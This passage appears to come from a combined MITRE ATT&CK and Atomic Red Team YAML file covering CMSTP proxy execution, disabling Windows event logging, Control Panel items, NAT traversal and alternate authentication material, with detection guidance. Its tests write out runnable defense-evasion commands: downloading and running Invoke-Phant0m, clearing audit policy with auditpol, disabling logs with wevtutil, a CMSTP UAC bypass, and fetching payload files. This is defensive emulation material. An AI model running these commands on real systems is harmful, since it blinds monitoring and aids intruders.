        Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

        CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Nik Seetharaman, Palantir
      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.

        Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)

        * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.
        * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      type: attack-pattern
      id: attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49
      created: '2020-01-23T18:27:30.656Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1218/003
        external_id: T1218.003
      - source_name: Twitter CMSTP Usage Jan 2018
        description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe...
          Retrieved April 11, 2018.
        url: https://twitter.com/ItsReallyNick/status/958789644165894146
      - source_name: Microsoft Connection Manager Oct 2009
        description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved
          April 11, 2018.
        url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
      - source_name: MSitPros CMSTP Aug 2017
        description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April
          11, 2018.
        url: https://msitpros.com/?p=3960
      - source_name: GitHub Ultimate AppLocker Bypass List
        description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
          April 10, 2018.
        url: https://github.com/api0cradle/UltimateAppLockerByPassList
      - source_name: Endurant CMSTP July 2018
        description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code
          Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.
        url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
      - source_name: Twitter CMSTP Jan 2018
        description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution
          applocker bypass. Retrieved April 11, 2018.
        url: https://twitter.com/NickTyrer/status/958450014111633408
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1218.003
    atomic_tests:
    - name: CMSTP Executing Remote Scriptlet
      auto_generated_guid: 34e63321-9683-496b-bbc1-7566bc55e624
      description: 'Adversaries may supply CMSTP.exe with INF files infected with
        malicious commands

        '
      supported_platforms:
      - windows
      input_arguments:
        inf_file_path:
          description: Path to the INF file
          type: path
          default: PathToAtomicsFolder\T1218.003\src\T1218.003.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'INF file must exist on disk at specified location (#{inf_file_path})

          '
        prereq_command: 'if (Test-Path "#{inf_file_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{inf_file_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003.inf" -OutFile "#{inf_file_path}"
      executor:
        command: 'cmstp.exe /s "#{inf_file_path}"

          '
        name: command_prompt
    - name: CMSTP Executing UAC Bypass
      auto_generated_guid: 748cb4f6-2fb3-4e97-b7ad-b22635a09ab0
      description: 'Adversaries may invoke cmd.exe (or other malicious commands) by
        embedding them in the RunPreSetupCommandsSection of an INF file

        '
      supported_platforms:
      - windows
      input_arguments:
        inf_file_uac:
          description: Path to the INF file
          type: path
          default: PathToAtomicsFolder\T1218.003\src\T1218.003_uacbypass.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'INF file must exist on disk at specified location (#{inf_file_uac})

          '
        prereq_command: 'if (Test-Path "#{inf_file_uac}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{inf_file_uac}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003_uacbypass.inf" -OutFile "#{inf_file_uac}"
      executor:
        command: 'cmstp.exe /s "#{inf_file_uac}" /au

          '
        name: command_prompt
  T1562.002:
    technique:
      modified: '2023-09-18T22:33:57.556Z'
      name: 'Impair Defenses: Disable Windows Event Logging'
      description: |-
        Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

        The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\Local Policies\Audit Policy</code> for basic audit policy settings or <code>Security Settings\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)

        Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)

        There are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the "Start" value in the key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)

        Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:”Account Logon” /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)

        By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering
        Team
      - Lucas Heiligenstein
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor processes and command-line arguments for commands
        that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645),
        `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002)
        and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation:
        evt_log_tampering)  \n\nIn Event Viewer, Event ID 1102 under the “Security”
        Windows Log and Event ID 104 under the “System” Windows Log both indicate
        logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control
        Manager Event ID 7035` in Event Viewer may indicate the termination of the
        EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs,
        e.g. non-sequential Event Record IDs, may indicate that the logs may have
        been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`,
        which may disable Event Viewer.(Citation: def_ev_win_event_logging)"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Script: Script Execution'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Application Log: Application Log Content'
      x_mitre_defense_bypassed:
      - Log analysis
      type: attack-pattern
      id: attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a
      created: '2020-02-21T20:46:36.688Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/002
        external_id: T1562.002
      - source_name: Disable_Win_Event_Logging
        description: " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved
          September 10, 2021."
        url: https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging
      - source_name: def_ev_win_event_logging
        description: 'Chandel, R. (2021, April 22). Defense Evasion: Windows Event
          Logging (T1562.002). Retrieved September 14, 2021.'
        url: https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/
      - source_name: EventLog_Core_Technologies
        description: 'Core Technologies. (2021, May 24). Essential Windows Services:
          EventLog / Windows Event Log. Retrieved September 14, 2021.'
        url: https://www.coretechnologies.com/blog/windows-services/eventlog/
      - source_name: Audit_Policy_Microsoft
        description: Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September
          13, 2021.
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy
      - source_name: Windows Log Events
        description: Franklin Smith. (n.d.). Windows Security Log Events. Retrieved
          February 21, 2020.
        url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/
      - source_name: disable_win_evt_logging
        description: 'Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging.
          Retrieved April 7, 2022.'
        url: https://ptylu.github.io/content/report/report.html?report=25
      - source_name: auditpol
        description: Jason Gerend, et al. (2017, October 16). auditpol. Retrieved
          September 1, 2021.
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol
      - source_name: winser19_file_overwrite_bug_twitter
        description: Naceri, A. (2021, November 7). Windows Server 2019 file overwrite
          bug. Retrieved April 7, 2022.
        url: https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040
      - source_name: T1562.002_redcanaryco
        description: redcanaryco. (2021, September 3). T1562.002 - Disable Windows
          Event Logging. Retrieved September 13, 2021.
        url: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md
      - source_name: Advanced_sec_audit_policy_settings
        description: Simpson, D. et al. (2017, April 19). Advanced security audit
          policy settings. Retrieved September 14, 2021.
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings
      - source_name: auditpol.exe_STRONTIC
        description: STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.
        url: https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html
      - source_name: evt_log_tampering
        description: 'svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting
          the EventLog Service. Retrieved September 14, 2021.'
        url: https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1562.002
    atomic_tests:
    - name: Disable Windows IIS HTTP Logging
      auto_generated_guid: 69435dcf-c66f-4ec0-a8b1-82beb76b34db
      description: |
        Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
        This action requires HTTP logging configurations in IIS to be unlocked.

        Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
      supported_platforms:
      - windows
      input_arguments:
        website_name:
          description: The name of the website on a server
          type: string
          default: Default Web Site
      executor:
        command: 'C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}"
          /section:httplogging /dontLog:true

          '
        cleanup_command: |
          if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
            C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
          }
        name: powershell
    - name: Disable Windows IIS HTTP Logging via PowerShell
      auto_generated_guid: a957fb0f-1e85-49b2-a211-413366784b1e
      description: |
        Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
        This action requires HTTP logging configurations in IIS to be unlocked.

        Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
      supported_platforms:
      - windows
      input_arguments:
        website_name:
          description: The name of the website on a server
          type: string
          default: Default Web Site
      executor:
        command: 'set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\"
          -filter "system.webServer/httpLogging" -name dontLog -value $true

          '
        cleanup_command: |
          if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
            C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
          }
        name: powershell
    - name: Kill Event Log Service Threads
      auto_generated_guid: 41ac52ba-5d5e-40c0-b267-573ed90489bd
      description: Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING
        you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html
      supported_platforms:
      - windows
      executor:
        command: |
          Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
          $url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"
          $output = "$env:TEMP\Invoke-Phant0m.ps1"
          $wc = New-Object System.Net.WebClient
          $wc.DownloadFile($url, $output)
          cd $env:TEMP
          Import-Module .\Invoke-Phant0m.ps1
          Invoke-Phant0m
        cleanup_command: |
          Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
          Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Impair Windows Audit Log Policy
      auto_generated_guid: 5102a3a7-e2d7-4129-9e45-f483f2e0eea8
      description: |-
        Disables the windows audit policy to prevent key host based telemetry being written into the event logs.
        [Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)
      supported_platforms:
      - windows
      executor:
        command: |
          auditpol /set /category:"Account Logon" /success:disable /failure:disable
          auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
          auditpol /set /category:"Detailed Tracking" /success:disable
        cleanup_command: |
          auditpol /set /category:"Account Logon" /success:enable /failure:enable
          auditpol /set /category:"Detailed Tracking" /success:enable
          auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
        name: command_prompt
        elevation_required: true
    - name: Clear Windows Audit Policy Config
      auto_generated_guid: 913c0e4e-4b37-4b78-ad0b-90e7b25010f6
      description: Clear the Windows audit policy using auditpol utility. This action
        would stop certain audit events from being recorded in the security log.
      supported_platforms:
      - windows
      executor:
        command: |
          auditpol /clear /y
          auditpol /remove /allusers
        cleanup_command: |
          auditpol /set /category:"Account Logon" /success:enable /failure:enable
          auditpol /set /category:"Detailed Tracking" /success:enable
          auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
        name: command_prompt
        elevation_required: true
    - name: Disable Event Logging with wevtutil
      auto_generated_guid: b26a3340-dad7-4360-9176-706269c74103
      description: "Wevtutil can be used to disable logs. \nNOTE: RansomEXX ransomware
        uses this to disable Security logs post-encryption.\n"
      supported_platforms:
      - windows
      input_arguments:
        log_name:
          description: Name of the log to be disabled
          type: string
          default: Microsoft-Windows-IKE/Operational
      executor:
        command: 'wevtutil sl "#{log_name}" /e:false

          '
        cleanup_command: 'wevtutil sl "#{log_name}" /e:true

          '
        name: command_prompt
    - name: Makes Eventlog blind with Phant0m
      auto_generated_guid: 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741
      description: 'Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog

        '
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: exe version of Phant0m
          type: path
          default: PathToAtomicsFolder\T1562.002\bin\Phant0m.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Phant0m.exe must exist on disk at specified location (#{file_name})

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe" -OutFile "#{file_name}" -UseBasicParsing
      executor:
        command: '"#{file_name}"

          '
        cleanup_command: 'echo "Sorry you have to reboot"

          '
        name: command_prompt
  T1218.002:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - ESET
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f
      type: attack-pattern
      created: '2020-01-23T19:59:52.630Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1218.002
        url: https://attack.mitre.org/techniques/T1218/002
      - source_name: Microsoft Implementing CPL
        description: M. (n.d.). Implementing Control Panel Items. Retrieved January
          18, 2018.
        url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
      - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
        description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control
          Panel Items. Retrieved January 18, 2018.
        source_name: TrendMicro CPL Malware Jan 2014
      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
        description: Bernardino, J. (2013, December 17). Control Panel Files Used
          As Malicious Attachments. Retrieved January 18, 2018.
        source_name: TrendMicro CPL Malware Dec 2013
      - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
        description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New
          Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.
        source_name: Palo Alto Reaver Nov 2017
      - source_name: ESET InvisiMole June 2020
        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Signed Binary Proxy Execution: Control Panel'
      description: |-
        Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

        Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)

        Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

        Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the <code>Control_RunDLL</code> and <code>ControlRunDLLAsUser</code> API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)

        Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:

        * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace</code> and <code>HKEY_CLASSES_ROOT\CLSID\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)
        * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>CPLs</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>).(Citation: Microsoft Implementing CPL)
        * Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)

        Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application control
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1218.002
    atomic_tests:
    - name: Control Panel Items
      auto_generated_guid: 037e9d8a-9e46-4255-8b33-2ae3b545ca6f
      description: |
        This test simulates an adversary leveraging control.exe
        Upon execution calc.exe will be launched
      supported_platforms:
      - windows
      input_arguments:
        cpl_file_path:
          description: path to cpl file
          type: path
          default: PathToAtomicsFolder\T1218.002\bin\calc.cpl
      dependency_executor_name: powershell
      dependencies:
      - description: 'Cpl file must exist on disk at specified location (#{cpl_file_path})

          '
        prereq_command: 'if (Test-Path "#{cpl_file_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cpl_file_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl" -OutFile "#{cpl_file_path}"
      executor:
        command: 'control.exe "#{cpl_file_path}"

          '
        name: command_prompt
  T1599.001:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de
      type: attack-pattern
      created: '2020-10-19T16:48:08.241Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1599.001
        url: https://attack.mitre.org/techniques/T1599/001
      - source_name: RFC1918
        url: https://tools.ietf.org/html/rfc1918
        description: IETF Network Working Group. (1996, February). Address Allocation
          for Private Internets. Retrieved October 20, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: Network Address Translation Traversal
      description: "Adversaries may bridge network boundaries by modifying a network
        device’s Network Address Translation (NAT) configuration. Malicious modifications
        to NAT may enable an adversary to bypass restrictions on traffic routing that
        otherwise separate trusted and untrusted networks.\n\nNetwork devices such
        as routers and firewalls that connect multiple networks together may implement
        NAT during the process of passing packets between networks. When performing
        NAT, the network device will rewrite the source and/or destination addresses
        of the IP address header. Some network designs require NAT for the packets
        to cross the border device.  A typical example of this is environments where
        internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen
        an adversary gains control of a network boundary device, they can either leverage
        existing NAT configurations to send traffic between two separated networks,
        or they can implement NAT configurations of their own design.  In the case
        of network designs that require NAT to function, this enables the adversary
        to overcome inherent routing limitations that would normally prevent them
        from accessing protected systems behind the border device.  In the case of
        network designs that do not require NAT, address translation can be used by
        adversaries to obscure their activities, as changing the addresses of packets
        that traverse a network boundary device can make monitoring data transmissions
        more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001)
        to change the operating system of a network device, implementing their own
        custom NAT mechanisms to further obscure their activities"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Consider monitoring network traffic on both interfaces of border network devices.  Compare packets transmitted by the device between networks to look for signs of NAT being implemented.  Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3.  In some cases, Port Address Translation (PAT) may also be used by an adversary.

        Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1550:
    technique:
      modified: '2024-04-12T21:18:23.798Z'
      name: Use Alternate Authentication Material
      description: "Adversaries may use alternate authentication material, such as
        password hashes, Kerberos tickets, and application access tokens, in order
        to move laterally within an environment and bypass normal system access controls.
        \n\nAuthentication processes generally require a valid identity (e.g., username)
        along with one or more authentication factors (e.g., password, pin, physical
        smart card, token generator, etc.). Alternate authentication material is legitimately
        generated by systems after a user or application successfully authenticates
        by providing a valid identity and the required authentication factor(s). Alternate
        authentication material may also be generated during the identity creation
        process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate
        authentication material allows the system to verify an identity has successfully
        authenticated without asking the user to reenter authentication factor(s).
        Because the alternate authentication must be maintained by the system—either
        in memory or on disk—it may be at risk of being stolen through [Credential
        Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate
        authentication material, adversaries are able to bypass system access controls
        and authenticate to systems without knowing the plaintext password or any
        additional authentication factors.\n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
